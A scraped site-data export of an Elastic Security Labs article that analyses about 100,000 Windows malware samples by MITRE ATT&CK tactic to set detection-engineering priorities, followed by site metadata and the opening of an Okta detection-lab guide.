a notable rise in the use of [vulnerable drivers](https://www.elastic.co/security-labs/stopping-vulnerable-driver-attacks) (BYOVD) to manipulate protected objects and acquire kernel mode execution privileges. \n \n\n\n\nBelow, you'll find a list of the most commonly exploited drivers triggered by our [YARA rules](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts%20vulndriver\u0026type=code):\n\n\n\n\n### Execution\n\nExecution encompasses methods that lead to running adversary-controlled code on a local or remote system. These techniques are frequently combined with methods from other tactics to accomplish broader objectives, such as network reconnaissance or data theft. \n\nThe most common techniques observed here involved [Windows command and scripting languages](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22Command+and+Scripting+Interpreter%22+%5B%22windows%22%5D\u0026type=code), with the proxying of execution via the [Windows Management Instrumentation](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1047%22\u0026type=code) (WMI) interface closely trailing behind.\n\n\n\n\n[Powershell](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1059.001%22\u0026type=code) remains a preferred scripting language for malware execution chains, followed by [Javascript](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1059.007%22\u0026type=code) and [VBscript](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1059.005%22\u0026type=code). Multi-stage malware delivery routinely involves a combination of two or more scripting languages.\n\n\n\n\nHere is a list of the most frequently triggered endpoint behavior detections for this tactic:\n\n\n\n\nWindows' default scripting languages remain the top preference for malware execution. However, there has been a slight uptick in the shift towards using other third-party scripting interpreters like Python, AutoIt, Java and Lua.\n\n### Persistence\n\nIt's common for malware to install itself on an infected host. No surprises here: the most frequently observed persistence methods include [scheduled tasks](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1053.005%22\u0026type=code), the [run key and startup folder](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1547.001%22\u0026type=code), and [Windows services](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1543.003%22\u0026type=code) (which typically require administrator privileges).\n\n\n\n\nThe top three persistence sub-techniques depicted in the list below are also commonly encountered in regular software installations. Therefore, it's necessary to dissect them into multiple detections with additional suspicious signals to reduce false positives and enhance precision.\n\n\n\n\n### Initial Access\n\nConsidering the dataset's composition, initial access was associated with primarily macro-enabled documents and Windows shortcut objects. Although a significant portion of the detonated samples also involved other formats, such as ISO/VHD containers with MSI installers extensively utilized for delivery, their genuine malicious behavior typically manifests in areas such as defense evasion and persistence.\n\n\n\n\nThe most frequently abused Microsoft-signed binaries originating from malicious Microsoft Office documents align closely with execution and defense evasion tactics, command and scripting interpreters, and system binary proxy execution.\n\n\n\n\nHere is a list of the most frequently triggered detections for initial access, regarding [phishing attachments](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1566.001%22\u0026type=code):\n\n\n\n\n### Credential Access\n\nCredential access in malware is frequently linked to information stealers. The most targeted credentials are typically associated with [Windows Credential Manager](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1555.004%22\u0026type=code) and [browser password](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1555.003%22\u0026type=code) stores. Domain and system-protected credentials require elevated privileges and are more likely a feature of a subsequent stage.\n\n\n\n\nBelow a breakdown of the endpoint behavior detections that triggered the most on credentials access: \n\n\n\n\nThe majority of credentials access behaviors resemble typical file access events. Therefore, it's essential to correlate and enrich them with additional signals to reduce false positives and enhance comprehension.\n\n## Conclusion\n\nEven though this small dataset of about [100,000 malware samples](https://gist.github.com/Samirbous/eebeb8f776f7ab2d51cdd2ac05669dcf) represents only a fraction of the possible malware in the wild right now, we can still derive important insights from it about the most common TTPs using our behavioral detections. Those insights help us make decisions about detection engineering priorities, and defenders should make that part of their strategies.","code":"var Component=(()=\u003e{var d=Object.create;var n=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var m=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,u=Object.prototype.hasOwnProperty;var f=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),w=(i,e)=\u003e{for(var s in e)n(i,s,{get:e[s],enumerable:!0})},o=(i,e,s,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of m(e))!u.call(i,r)\u0026\u0026r!==s\u0026\u0026n(i,r,{get:()=\u003ee[r],enumerable:!(a=p(e,r))||a.enumerable});return i};var v=(i,e,s)=\u003e(s=i!=null?d(g(i)):{},o(e||!i||!i.__esModule?n(s,\"default\",{value:i,enumerable:!0}):s,i)),b=i=\u003eo(n({},\"__esModule\",{value:!0}),i);var l=f((F,c)=\u003e{c.exports=_jsx_runtime});var A={};w(A,{default:()=\u003eT,frontmatter:()=\u003ey});var t=v(l()),y={title:\"Unveiling malware behavior trends\",slug:\"unveiling-malware-behavior-trends\",date:\"2024-03-20\",subtitle:\"Analyzing a Windows dataset of over 100,000 malicious files\",description:\"An analysis of a diverse dataset of Windows malware extracted from more than 100,000 samples revealing insights into the most prevalent tactics, techniques, and procedures.\",author:[{slug:\"samir-bousseaden\"}],image:\"Security Labs Images 20.jpg\",category:[{slug:\"security-research\"}]};function h(i){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",img:\"img\",code:\"code\",h3:\"h3\"},i.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,t.jsx)(e.p,{children:\"When prioritizing detection engineering efforts, it's essential to understand the most prevalent tactics, techniques, and procedures (TTPs) observed in the wild. This knowledge helps defenders make informed decisions about the most effective strategies to implement - especially where to focus engineering efforts and finite resources.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"To highlight these prevalent TTPs, we analyzed over \",(0,t.jsx)(e.a,{href:\"https://gist.github.com/Samirbous/eebeb8f776f7ab2d51cdd2ac05669dcf\",rel:\"nofollow\",children:\"100,000 Windows malware samples\"}),\" extracted over several months from one of our dynamic malware analysis tools, \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/click-click-boom-automating-protections-testing-with-detonate\",rel:\"nofollow\",children:\"Detonate\"}),\". To generate this data and alerts, we leveraged Elastic Defend behavior (mapped to MITRE ATT\u0026CK) and \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html#memory-protection\",rel:\"nofollow\",children:\"memory threat detection\"}),\" rules. It should be noted that this dataset is not exhaustive, it may not represent the entire spectrum of malware behavior, and specifically does not include long-term or interactive activity.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Below an \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/esql-elasticsearch-piped-query-language\",rel:\"nofollow\",children:\"ES|QL\"}),\" query to summarize our dataset by file type:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/unveiling-malware-behavior-trends/image12.png\",alt:\"Dataset by extension - 20 unique file types\",width:\"1440\",height:\"712\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"tactics\",children:\"Tactics\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Beginning with tactics, we aggregated the alerts generated by this corpus of malware samples and organized them according to the counts of \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/ecs/current/ecs-process.html#field-process-entity-id\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"process.entity_id\"})}),\" and alerts. As depicted in the image below, the most frequent tactics included defense evasion, privilege escalation, execution, and persistence. Certain tactics commonly linked with post-exploitation activities, such as lateral movement, provided an anticipated lower prevalence because these actions are commonly manually driven by the threat actor after the initial implant is established vs. being automated by the malware in our dataset.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/unveiling-malware-behavior-trends/image9.png\",alt:\"Tactics by volume\",width:\"1440\",height:\"801\"})}),`\n`,(0,t.jsx)(e.p,{children:\"In the following sections, we will delve into each tactic and the techniques and sub-techniques of each that exerted the most influence.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"defense-evasion\",children:\"Defense Evasion\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Defense Evasion involves methods employed by adversaries to avoid detection by security teams or capabilities. The foremost tactic detected was defense evasion, triggering 189 distinct detection rules (nearly 40% of our current Windows rules). The primary techniques noted are associated with \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1055%22\u0026type=code\",rel:\"nofollow\",children:\"code injection\"}),\", \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22Impair+Defenses%22\u0026type=code\",rel:\"nofollow\",children:\"defense tampering\"}),\", \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22Masquerade+Task+or+Service%22\u0026type=code\",rel:\"nofollow\",children:\"masquerading\"}),\", and \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1218%22\u0026type=code\",rel:\"nofollow\",children:\"system binary proxy execution\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/unveiling-malware-behavior-trends/image15.png\",alt:\"Top observed defense evasion techniques\",width:\"1110\",height:\"974\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"When we pivot by sub-techniques, it becomes evident that certain advanced techniques such as \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22DLL+Side-Loading%22\u0026type=code\u0026p=1\",rel:\"nofollow\",children:\"DLL side-loading\"}),\" and \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts%20%22Parent%20PID%20Spoofing%22\u0026type=code\",rel:\"nofollow\",children:\"Parent PID Spoofing\"}),\" have become increasingly popular, even among non-targeted malwares. Both are frequently linked with code injection and masquerading.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Furthermore, system binary proxies \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1218.011%22\u0026type=code\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"Rundll32\"})}),\" and \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1218.010%22\u0026type=code\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"Regsvr32\"})}),\" remain highly abused, with a notable rise in the utilization of malicious \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1218.007%22\u0026type=code\",rel:\"nofollow\",children:\"MSI installers\"}),\" for malware delivery. The practice of \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22Masquerade+Task+or+Service%22\u0026type=code\",rel:\"nofollow\",children:\"masquerading\"}),\" as legitimate system binaries, whether through renaming or process hollowing, remains prevalent as well, serving as a means to evade user suspicion.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/unveiling-malware-behavior-trends/image6.png\",alt:\"Top observed defense evasion sub-techniques\",width:\"1124\",height:\"1280\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Tampering with Windows Defender stands out as the most frequently observed defense evasion tactic, emphasizing the importance for defenders to acknowledge that adversaries will attempt to obscure their activities.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Process Injection is prevalent across various malware families, whether they target legitimate system binaries remotely to blend in or employ self-injection (sometimes paired with DLL side-loading through a trusted binary). Furthermore, there is a noticeable uptick in the use of NTDLL unhooking to bypass security solutions reliant on user-mode APIs monitoring (Elastic Defend is not impacted).\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/unveiling-malware-behavior-trends/image16.png\",alt:\"The most effective endpoint behavior rules for defense evasion\",width:\"1232\",height:\"1266\"})}),`\n`,(0,t.jsx)(e.p,{children:\"From our shellcode alerts we can clearly see that self-injection is more prevalent than remote:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/unveiling-malware-behavior-trends/image7.png\",alt:\"Shellcode alerts volume by infection target type (local vs remote)\",width:\"1440\",height:\"653\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Almost 50 unique vendors\\u2019 binaries abused for DLL side-loading, of which Microsoft is the top choice:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/unveiling-malware-behavior-trends/image19.png\",alt:\"DLL side-load by host process code signature subject name\",width:\"1440\",height:\"732\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Defense evasion comprises various techniques and sub-techniques necessitating comprehensive coverage due to their frequent occurrence. For instance, apart from \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html#memory-protection\",rel:\"nofollow\",children:\"memory threat protection\"}),\", \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts++name+%3D+%22Defense+Evasion%22\u0026type=code\",rel:\"nofollow\",children:\"half\"}),\" of our rules are specifically tailored to address this tactic.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"privilege-escalation\",children:\"Privilege Escalation\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"This tactic consists of techniques that adversaries use to gain greater permissions on a system or network. The most commonly used techniques relate to \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1134%22\u0026type=code\",rel:\"nofollow\",children:\"access token manipulation\"}),\", execution through privileged \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1543.003%22\u0026type=code\",rel:\"nofollow\",children:\"system services\"}),\", and bypassing \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1548.002%22\u0026type=code\",rel:\"nofollow\",children:\"User Account Control\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/unveiling-malware-behavior-trends/image10.png\",alt:\"Privilege escalation techniques observed in the dataset\",width:\"1030\",height:\"410\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The most frequently observed sub-technique involved impersonation as the Trusted Installer service, which aligns closely with defense evasion and often precedes attempts to manipulate system-protected resources.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Concerning User Account Control bypass, the primary method we observed was elevation by \",(0,t.jsx)(e.a,{href:\"https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e\",rel:\"nofollow\",children:\"mimicking trusted directories\"}),\", which is also related to DLL side-loading. Additionally, other methods like elevation via \",(0,t.jsx)(e.a,{href:\"https://github.com/decoder-it/psgetsystem\",rel:\"nofollow\",children:\"extended startupinfo\"}),\" (elevated parent PID spoofing) are increasingly prevalent among commodity malware.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/unveiling-malware-behavior-trends/image1.png\",alt:\"Privilege escalation top observed sub-techniques\",width:\"1288\",height:\"626\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"As evident from the list below, there's a notable rise in the use of \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/stopping-vulnerable-driver-attacks\",rel:\"nofollow\",children:\"vulnerable drivers\"}),\" (BYOVD) to manipulate protected objects and acquire kernel mode execution privileges.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/unveiling-malware-behavior-trends/image2.png\",alt:\"The most effective endpoint behavior rules for privilege escalation\",width:\"1356\",height:\"1040\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Below, you'll find a list of the most commonly exploited drivers triggered by our \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts%20vulndriver\u0026type=code\",rel:\"nofollow\",children:\"YARA rules\"}),\":\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/unveiling-malware-behavior-trends/image18.png\",alt:\"Top triggered yara rules for vulnerable drivers detection\",width:\"654\",height:\"762\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"execution\",children:\"Execution\"}),`\n`,(0,t.jsx)(e.p,{children:\"Execution encompasses methods that lead to running adversary-controlled code on a local or remote system. These techniques are frequently combined with methods from other tactics to accomplish broader objectives, such as network reconnaissance or data theft.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The most common techniques observed here involved \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22Command+and+Scripting+Interpreter%22+%5B%22windows%22%5D\u0026type=code\",rel:\"nofollow\",children:\"Windows command and scripting languages\"}),\", with the proxying of execution via the \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1047%22\u0026type=code\",rel:\"nofollow\",children:\"Windows Management Instrumentation\"}),\" (WMI) interface closely trailing behind.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/unveiling-malware-behavior-trends/image21.png\",alt:\"Execution techniques observed in our dataset\",width:\"926\",height:\"278\"})}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1059.001%22\u0026type=code\",rel:\"nofollow\",children:\"Powershell\"}),\" remains a preferred scripting language for malware execution chains, followed by \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1059.007%22\u0026type=code\",rel:\"nofollow\",children:\"Javascript\"}),\" and \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1059.005%22\u0026type=code\",rel:\"nofollow\",children:\"VBscript\"}),\". Multi-stage malware delivery routinely involves a combination of two or more scripting languages.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/unveiling-malware-behavior-trends/image5.png\",alt:\"Execution top observed sub-techniques\",width:\"1152\",height:\"464\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Here is a list of the most frequently triggered endpoint behavior detections for this tactic:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/unveiling-malware-behavior-trends/image13.png\",alt:\"Frequently triggered execution detections\",width:\"1336\",height:\"1254\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Windows' default scripting languages remain the top preference for malware execution. However, there has been a slight uptick in the shift towards using other third-party scripting interpreters like Python, AutoIt, Java and Lua.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"persistence\",children:\"Persistence\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"It's common for malware to install itself on an infected host. No surprises here: the most frequently observed persistence methods include \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1053.005%22\u0026type=code\",rel:\"nofollow\",children:\"scheduled tasks\"}),\", the \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1547.001%22\u0026type=code\",rel:\"nofollow\",children:\"run key and startup folder\"}),\", and \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1543.003%22\u0026type=code\",rel:\"nofollow\",children:\"Windows services\"}),\" (which typically require administrator privileges).\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/unveiling-malware-behavior-trends/image14.png\",alt:\"Top observed sub-techniques for persistence\",width:\"1170\",height:\"544\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The top three persistence sub-techniques depicted in the list below are also commonly encountered in regular software installations. Therefore, it's necessary to dissect them into multiple detections with additional suspicious signals to reduce false positives and enhance precision.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/unveiling-malware-behavior-trends/image8.png\",alt:\"Top triggered alerts for persistence\",width:\"1184\",height:\"1254\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"initial-access\",children:\"Initial Access\"}),`\n`,(0,t.jsx)(e.p,{children:\"Considering the dataset's composition, initial access was associated with primarily macro-enabled documents and Windows shortcut objects. Although a significant portion of the detonated samples also involved other formats, such as ISO/VHD containers with MSI installers extensively utilized for delivery, their genuine malicious behavior typically manifests in areas such as defense evasion and persistence.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/unveiling-malware-behavior-trends/image17.png\",alt:\"Top sub-techniques for initial access\",width:\"1170\",height:\"246\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The most frequently abused Microsoft-signed binaries originating from malicious Microsoft Office documents align closely with execution and defense evasion tactics, command and scripting interpreters, and system binary proxy execution.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/unveiling-malware-behavior-trends/image11.png\",alt:\"Top spawned child processes from malicious office documents\",width:\"1440\",height:\"1125\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Here is a list of the most frequently triggered detections for initial access, regarding \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1566.001%22\u0026type=code\",rel:\"nofollow\",children:\"phishing attachments\"}),\":\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/unveiling-malware-behavior-trends/image4.png\",alt:\"Top triggered rules for initial access via malicious attachments\",width:\"1278\",height:\"844\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"credential-access\",children:\"Credential Access\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Credential access in malware is frequently linked to information stealers. The most targeted credentials are typically associated with \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1555.004%22\u0026type=code\",rel:\"nofollow\",children:\"Windows Credential Manager\"}),\" and \",(0,t.jsx)(e.a,{href:\"https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1555.003%22\u0026type=code\",rel:\"nofollow\",children:\"browser password\"}),\" stores. Domain and system-protected credentials require elevated privileges and are more likely a feature of a subsequent stage.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/unveiling-malware-behavior-trends/image20.png\",alt:\"Top observed credential access sub-techniques\",width:\"1174\",height:\"548\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Below a breakdown of the endpoint behavior detections that triggered the most on credentials access:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/unveiling-malware-behavior-trends/image3.png\",alt:\"Frequently triggered credential access-related detection rules \",width:\"1278\",height:\"1268\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The majority of credentials access behaviors resemble typical file access events. Therefore, it's essential to correlate and enrich them with additional signals to reduce false positives and enhance comprehension.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Even though this small dataset of about \",(0,t.jsx)(e.a,{href:\"https://gist.github.com/Samirbous/eebeb8f776f7ab2d51cdd2ac05669dcf\",rel:\"nofollow\",children:\"100,000 malware samples\"}),\" represents only a fraction of the possible malware in the wild right now, we can still derive important insights from it about the most common TTPs using our behavioral detections. Those insights help us make decisions about detection engineering priorities, and defenders should make that part of their strategies.\"]})]})}function q(i={}){let{wrapper:e}=i.components||{};return e?(0,t.jsx)(e,Object.assign({},i,{children:(0,t.jsx)(h,i)})):h(i)}var T=q;return b(A);})();\n;return Component;"},"_id":"articles/unveiling-malware-behavior-trends.mdx","_raw":{"sourceFilePath":"articles/unveiling-malware-behavior-trends.mdx","sourceFileName":"unveiling-malware-behavior-trends.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/unveiling-malware-behavior-trends"},"type":"Article","imageUrl":"/assets/images/unveiling-malware-behavior-trends/Security Labs Images 20.jpg","readingTime":"7 min read","series":"","url":"/unveiling-malware-behavior-trends","headings":[{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"Tactics","href":"#tactics"},{"level":3,"title":"Defense Evasion","href":"#defense-evasion"},{"level":3,"title":"Privilege Escalation","href":"#privilege-escalation"},{"level":3,"title":"Execution","href":"#execution"},{"level":3,"title":"Persistence","href":"#persistence"},{"level":3,"title":"Initial Access","href":"#initial-access"},{"level":3,"title":"Credential Access","href":"#credential-access"},{"level":2,"title":"Conclusion","href":"#conclusion"}],"author":[{"title":"Samir Bousseaden","slug":"samir-bousseaden","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=d(e,o))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},u(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eu(s({},\"__esModule\",{value:!0}),t);var m=j((h,i)=\u003e{i.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Samir Bousseaden\",slug:\"samir-bousseaden\"};function c(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(c,t)})):c(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"authors/samir-bousseaden.mdx","_raw":{"sourceFilePath":"authors/samir-bousseaden.mdx","sourceFileName":"samir-bousseaden.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/samir-bousseaden"},"type":"Author","imageUrl":"","url":"/authors/samir-bousseaden"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Monitoring Okta threats with Elastic Security","slug":"monitoring-okta-threats-with-elastic-security","date":"2024-02-23","description":"This article guides readers through establishing an Okta threat detection lab, emphasizing the importance of securing SaaS platforms like Okta. It details creating a lab environment with the Elastic Stack, integrating SIEM solutions, and Okta.","image":"photo-edited-03.png","subtitle":"Setup a detection engineering lab for Okta","body":{"raw":"\n## Preamble\n\nWelcome to another installment of Okta threat research with Elastic. [Previously](https://www.elastic.co/security-labs/starter-guide-to-understanding-okta), we have published articles exploring Okta’s core services and offerings. This article is dedicated to the practical side of cyber defense - setting up a robust Okta threat detection lab. Our journey will navigate through the intricacies of configuring a lab environment using the Elastic Stack, integrating SIEM solutions, and seamlessly connecting with Okta.\n\nThe goal of this article is not just to inform but to empower. Whether you're a seasoned cybersecurity professional or a curious enthusiast, our walkthrough aims to equip you with the knowledge and tools to understand and implement advanced threat detection mechanisms for Okta environments. We believe that hands-on experience is the cornerstone of effective cybersecurity practice, and this guide is crafted to provide you with a practical roadmap to enhance your security posture.\n\nAs we embark on this technical expedition, remember that the world of cybersecurity is dynamic and ever-evolving. The methods and strategies discussed here are a reflection of the current landscape and best practices. We encourage you to approach this guide with a mindset of exploration and adaptation, as the techniques and tools in cybersecurity are continually advancing.\n\nSo, let's dive into our detection lab setup for Okta research.\n\n## Prerequisites\n\nFor starters, an Okta license (a [trial license](https://www.okta.com/free-trial/) is fine) is required for this lab setup. This will at least allow us to generate Okta system logs within our environment, which we can then ingest into our Elastic Stack.\n\nSecondarily, after Okta is set up, we can deploy a Windows Server, set up Active Directory (AD), and use the [AD 